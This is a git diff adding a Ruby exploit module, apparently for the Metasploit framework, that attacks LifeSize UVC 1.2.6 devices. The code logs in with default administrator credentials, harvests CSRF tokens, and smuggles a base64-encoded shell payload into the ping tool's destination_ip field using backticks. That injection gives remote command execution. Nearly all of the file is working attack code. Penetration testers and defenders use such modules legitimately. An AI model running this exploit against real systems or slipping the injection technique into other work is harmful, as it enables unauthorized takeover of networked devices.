diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb new file mode 100644 index 0000000000..734a1780ad --- /dev/null +++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb @@ -0,0 +1,130 @@ +# This module requires Metasploit: http//metasploit.com/download +## +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "LifeSize UVC Authenticated RCE via Ping", + 'Description' => %q{ + When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker + can abuse the ping diagnostic functionality to achieve remote command + execution as the www-data user (or equivalent) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' #discovery/metasploit module + ], + 'References' => + [ + ['URL', 'http://pastebin.com/FueRwWhe'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['LifeSize UVC version <= 1.2.6', {}] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python' + } + }, + 'DisclosureDate' => "Mar 21 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123']) + ], self.class) + end + + def exploit + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'accounts', 'login/') + }) + + if !res or !res.body + fail_with("Server did not respond in an expected way") + end + + token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) + + token = token[1] + + post = { + 'csrfmiddlewaretoken' => token, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + + #referer is required + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'accounts/'), + 'method' => 'POST', + 'vars_post' => post, + 'headers' => { + 'Referer' => 'https://' + datastore['RHOST'] + '/accounts/' + }, + 'cookie' => 'csrftoken=' + token + }) + + if !res + fail_with("Server did not respond in an expected way") + end + + #we want a 302, 200 means we are back at login page + if res.code == 200 + fail_with("Authentication failed. Please check your username and password.") + end + + cookie = res.get_cookies + + new_cookie = 'csrftoken=' + token + '; ' + cookie + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), + 'cookie' => new_cookie + }) + + if !res or !res.body + fail_with("Server did not respond in an expected way") + end + + token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body) + token = token[1] + + new_cookie = 'csrftoken=' + token + '; ' + cookie + + pay = 'csrfmiddlewaretoken='+token + pay << '&source_ip=' + datastore['RHOST'] + pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com' + + #referer is required + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'), + 'method' => 'POST', + 'headers' => { + 'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/' + }, + 'cookie' => new_cookie, + 'data' => pay + }) + end +end +